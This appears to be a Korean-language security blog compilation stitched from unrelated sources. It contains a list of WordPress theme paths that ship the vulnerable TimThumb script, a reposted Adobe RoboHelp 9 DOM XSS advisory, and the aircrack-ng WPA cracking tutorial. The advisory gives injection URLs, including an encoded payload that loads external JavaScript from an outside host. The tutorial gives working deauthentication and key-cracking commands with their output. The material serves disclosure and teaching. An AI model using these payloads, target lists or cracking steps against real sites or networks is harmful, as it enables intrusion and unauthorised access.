aerial/lib/timthumb.php
aesthete/timthumb.php
albizia/includes/timthumb.php
amphion-lite/script/timthumb.php
aqua-blue/includes/timthumb.php
aranovo/scripts/timthumb.php
arras/library/timthumb.php
arras-theme/library/timthumb.php
arthemix-bronze/scripts/timthumb.php
arthemix-green/scripts/timthumb.php
artisan/includes/timthumb.php
a-simple-business-theme/scripts/timthumb.php
a-supercms/timthumb.php
aureola/scripts/timthumb.php
aurorae/timthumb.php
autofashion/thumb.php
automotive-blog-theme/Quick Cash Auto/timthumb.php
automotive-blog-theme/timthumb.php
bikes/thumb.php
black_eve/timthumb.php
blex/scripts/timthumb.php
bloggnorge-a1/scripts/timthumb.php
blogified/timthumb.php
blue-corporate-hyve-theme/timthumb.php
bluemag/library/timthumb.php
blue-news/scripts/timthumb.php
bombax/includes/timthumb.php
breakingnewz/timthumb.php
brightsky/scripts/timthumb.php
brochure-melbourne/includes/timthumb.php
business-turnkey/assets/js/timthumb.php
calotropis/includes/timthumb.php
coffee-lite/thumb.php
comet/scripts/timthumb.php
conceditor-wp-strict/scripts/timthumb.php
constructor/layouts/thumb.php
constructor/libs/timthumb.php
constructor/timthumb.php
coverht-wp/scripts/timthumb.php
cover-wp/scripts/timthumb.php
dark-dream-media/timthumb.php
deep-blue/timthumb.php
delicate/thumb.php
diamond-ray/thumb.php
dieselclothings/thumb.php
digitalblue/thumb.php
dimenzion/timthumb.php
epione/script/timthumb.php
evr-green/scripts/timthumb.php
famous/megaframe/megapanel/inc/upload.php
famous/timthumb.php
fashion-style/thumb.php
featuring/timthumb.php
fliphoto/timthumb.php
flix/timthumb.php
fordreporter/scripts/thumb.php
freeside/thumb.php
fresh-blu/scripts/timthumb.php
go-green/modules/timthumb.php
granite-lite/scripts/timthumb.php
greydove/timthumb.php
greyzed/functions/efrog/lib/timthumb.php
gunungkidul/thumb.php
heartspotting-beta/thumb.php
heli-1-wordpress-theme/images/timthumb.php
ideatheme/timthumb.php
impressio/timthumb/timthumb.php
introvert/thumb.php
inuit-types/thumb.php
isotherm-news/thumb.php
iwana-v10/timthumb.php
jambo/thumb.php
jcblackone/thumb.php
kratalistic/thumb.php
life-style-free/thumb.php
likehacker/timthumb.php
litepress/scripts/timthumb.php
loganpress-premium-theme-1/thumb.php
magazine-basic/thumb.php
magup/timthumb.php
make-money-online-theme-1/scripts/timthumb.php
make-money-online-theme-2/scripts/timthumb.php
make-money-online-theme-3/scripts/timthumb.php
make-money-online-theme-4/scripts/timthumb.php
make-money-online-theme/scripts/timthumb.php
meintest/layouts/thumb.php
mobilephonecomparision/thumb.php
moi-magazine/timthumb.php
my-heli/images/timthumb.php
mymag/timthumb.php
mystique/extensions/auto-thumb/timthumb.php
nash/theme-assets/php/timthumb.php
neofresh/timthumb.php
neo_wdl/includes/extensions/thumb.php
new-green-natural-living-ngnl/scripts/timthumb.php
newspress/thumb.php
pearlie/scripts/timthumb.php
pico/scripts/timthumb.php
postage-sydney/includes/timthumb.php
premium-violet/thumb.php
probluezine/timthumb.php
pronto/cjl/pronto/uploadify/check.php
pronto/cjl/pronto/uploadify/uploadify.php
r755/thumb.php
regal/timthumb.php
shaan/timthumb.php
shadow-block/thumb.php
shadow/timthumb.php
simple-but-great/timthumb.php
simplenews_premium/scripts/timthumb.php
simple-red-theme/timthumb.php
simple-tabloid/thumb.php
simplewhite/timthumb.php
slidette/timThumb/timthumb.php
snowblind_colbert/thumb.php
snowblind/thumb.php
spotlight/timthumb.php
squeezepage/timthumb.php
standout/thumb.php
suffusion/timthumb.php
swift/includes/thumb.php
swift/includes/timthumb.php
swift/timthumb.php
techozoic-fluid/options/thumb.php
the_dark_os/tools/timthumb.php
themetiger-fashion/thumb.php
theory/thumb.php
the-theme/core/libs/thumbnails/thumb.php
thrillingtheme/thumb.php
tm-theme/js/timthumb.php
totallyred/scripts/timthumb.php
travelogue-theme/scripts/timthumb.php
true-blue-theme/timthumb.php
ttnews-theme/timthumb.php
twittplus/scripts/timthumb.php
typographywp/timthumb.php
ugly/timthumb.php
unity/timthumb.php
versitility/timthumb.php
vibefolio-teaser-10/scripts/timthumb.php
vina/thumb.php
whitemag/script/thumb.php
wpapi/thumb.php
wpbus-d4/includes/timthumb.php
wp-creativix/scripts/timthumb.php
wp-newsmagazine/scripts/timthumb.php
wp-perfect/js/timthumb.php
wp-premium-orange/timthumb.php
xiando-one/thumb.php
zcool-like/timthumb.php
zcool-like/uploadify.php

Caution: This is not a full list of every theme in the directory that may include TimThumb, just a good start. Even if your theme is not found on this list it is a good idea to do a thorough review for the script, and not a bad thought to contact the theme author.

Note: We only listed the free themes found in the WordPress Free Themes Directory SVN, there are probably many more themes that include TimThumb in the premium theme market. Make sure to check with your vendor to ensure the vulnerability has been fixed if they include the script.

Edit: Thanks to @ottodestruct for clarifying that not all of these themes are approved and/or available to the public via the WordPress Free Themes Directory. Although they are currently found in the theme repository, they are not all publicly available for download.


취약점 시연 동영상

This video is a demonstration of the TimThumbCraft tool, which in short creates an image with appended PHP code, directly usable with the TimThumb Vulnerability, that exists in many Wordpress themes.

This video, tool AND blog entry were made for Ethical and Educational Purposes Only!
직역 : 이 비디오, 툴 그리고 블로그의 모든 내용은 윤리적이고 교육용을 위한 목적으로만 제안합니다.

Back in May while doing an application intrusion testing, I have found an interesting DOM Cross Site Scripting in a part of the application which was generated with Adobe RoboHelp software. At the begin, I thought I have found a bug which was already discovered and a Google search seemed to confirm my doubt, as I couldn't find out what Adobe RoboHelp version was used. However, all the bug entries I could find looked different and some of them were lacking an accurate description, payloads and examples.

So I have decided to download the latest version of Adobe RoboHelp and give it a try. Funny enough, after five minutes I have found another DOM cross site scripting injection point! It seems that RoboHelp has a history with XSS bugs (probably because it is just HTML and JavaScript content after all).

It is worth to say that at that time I also a got a preview of the DOMinator tool developed by Stefano Di Paola and wanted to test it and see if it would find the same bug. By browsing the site with DOMinator, in a matter of few seconds I could see the red alert showing up and highlighting the same vulnerable point. It is definitely a tool to try when looking for DOM XSS bugs.

Advisory

Name: Adobe RoboHelp 9.0 – DOM Cross Site Scripting
Vendor: Website http://www.adobe.com
Date Released: August 11th, 2011 – CVE-2011-2133
Affected Software: versions 9.0.1.232 and earlier
Researcher: Roberto Suggi Liverani

Original Security Advisory (PDF): http://www.security-assessment.com/files/documents/advisory/Adobe_RoboHelp_9_-_DOM_XSS.pdf

Description

Web content generated by Adobe RoboHelp software using the WebHelp format is vulnerable to DOM (or type-0) Cross Site Scripting attacks. The issue is due to the use of unsafe JavaScript code handling by the location.hash DOM property. This property is employed to load a frame within the context of a web site generated with RoboHelp. However, a malicious user can send a link which includes JavaScript code in the fragment part of the URL scheme, as demonstrated in the following example:

JavaScript Injection:
http://example.com/WebHelp/index.html#%22onload=%22JAVASCRIPT_PAYLOAD_HERE

In this case, use of the double quote character allows injection of frame attributes and event handlers, such as onload. The onload handler can be used to execute arbitrary JavaScript code. The above injection will result as the following in the DOM context of the index.html page:

Injection in the DOM:
<frame scrolling="auto" name="bsscright" title="Topic" border="1" frameborder="1" id="topic" onload="JAVASCRIPT_PAYLOAD_HERE" src=""></frame>

Exploitation

This vulnerability can be exploited in several ways. One example is to include an external JavaScript file, such as a JavaScript hook file provided by BEeF, the browser exploitation framework. The exploit below makes use of the String.fromCharCode method to specify the URI of an external JavaScript file. In this example, it points to "http://malerisch.net/a.js", a JavaScript PoC (Proof of Concept) file which pops up an alert message window:

DOM XSS Including External JavaScript File
http://example.com/WebHelp/index.htm#%22onload=%22a=document.createElement%28%27script%27%29;a.setAttribute%28%27src%27,String.fromCharCode%28104,116,116,112,58,47,47,109,97,108,101,114,105,115,99,104,46,110,101,116,47,97,46,106,115%29%29;document.body.appendChild%28a%29

Rendered in DOM:

<frame scrolling="auto" name="bsscright" title="Topic" border="1" frameborder="1" id="topic" onload="a=document.createElement('script');a.setAttribute('src',String.fromCharCode(104,116,116,112,58,47,47,109,97,108,101,114,105,115,99,104,46,110,101,116,47,97,46,106,115));document.body.appendChild(a);" src=""></frame>



The above attack has been successfully reproduced with the following browser/OS:

- Firefox 3.5.16 – Windows XP SP3
- Google Chrome 11.0.696.69 – Windows XP SP3
- IE 8.0.6001.18702 – Windows XP SP3
- Opera 11.10 – build 2092 – Windows XP SP3

Solution

Adobe validated this security issue and updated the Adobe RoboHelp software to address this issue.

The fix is incorporated in the updates which can be found at the following URL:

http://www.adobe.com/support/security/bulletins/apsb11-23.html

Security-Assessment.com recommends applying the updates provided by the vendor.


[출처]http://malerisch.net/docs/advisories/adobe_robohelp_dom_cross_site_scripting_xss.html

[출처] http://www.aircrack-ng.org/doku.php?id=cracking_wpa

Introduction

Assumptions

Equipment used

Solution

Solution Overview

Step 1 - Start the wireless interface in monitor mode

 airmon-ng

 Interface       Chipset         Driver
 
 rausb0          Ralink RT73     rt73
 wlan0           Broadcom        b43 - [phy0]
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0)

Step 1a - Setting up madwifi-ng

 airmon-ng stop ath0   

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.

 airmon-ng start wifi0 9

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

 lo        no wireless extensions.
 
 wifi0     no wireless extensions.
 
 eth0      no wireless extensions.
 
 ath0      IEEE 802.11g  ESSID:""  Nickname:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Step 1b - Setting up mac80211 drivers

 airmon-ng start wlan0 9

 Interface       Chipset         Driver
 
 wlan0           Broadcom        b43 - [phy0]
                                 (monitor mode enabled on mon0)

 lo        no wireless extensions.

 eth0      no wireless extensions.
 
 wmaster0  no wireless extensions.
 
 wlan0     IEEE 802.11bg  ESSID:""
           Mode:Managed  Frequency:2.452 GHz  Access Point: Not-Associated
           Tx-Power=0 dBm
           Retry min limit:7   RTS thr:off   Fragment thr=2352 B
           Encryption key:off
           Power Management:off
           Link Quality:0  Signal level:0  Noise level:0
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0
 
 mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.452 GHz  Tx-Power=0 dBm
           Retry min limit:7   RTS thr:off   Fragment thr=2352 B
           Encryption key:off
           Power Management:off
           Link Quality:0  Signal level:0  Noise level:0
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Step 1c - Setting up other drivers

 airmon-ng start rausb0 9

 Interface       Chipset         Driver
 
 rausb0          Ralink          rt73 (monitor mode enabled)

Step 2 - Start airodump-ng to collect authentication handshake

 airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                               
  00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116  

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             

Troubleshooting Tip

Step 3 - Use aireplay-ng to deauthenticate the wireless client

 aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0

 11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]

Troubleshooting Tips

Step 4 - Run aircrack-ng to crack the pre-shared key

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.

 No valid WPA handshakes found.

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.
 
 #  BSSID              ESSID                     Encryption

 1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)
 
 Choosing first network as target.

                               Aircrack-ng 0.8
 
 
                 [00:00:00] 2 keys tested (37.20 k/s)
 
 
                         KEY FOUND! [ 12345678 ]
 
 
    Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E 
                     B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD 
 
    Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 
                     CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 
                     FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 
                     2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 
 
    EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

Troubleshooting Tips

I Cannot Capture the Four-way Handshake!

aircrack-ng says "0 handshakes"

aircrack-ng says "No valid WPA handshakes found"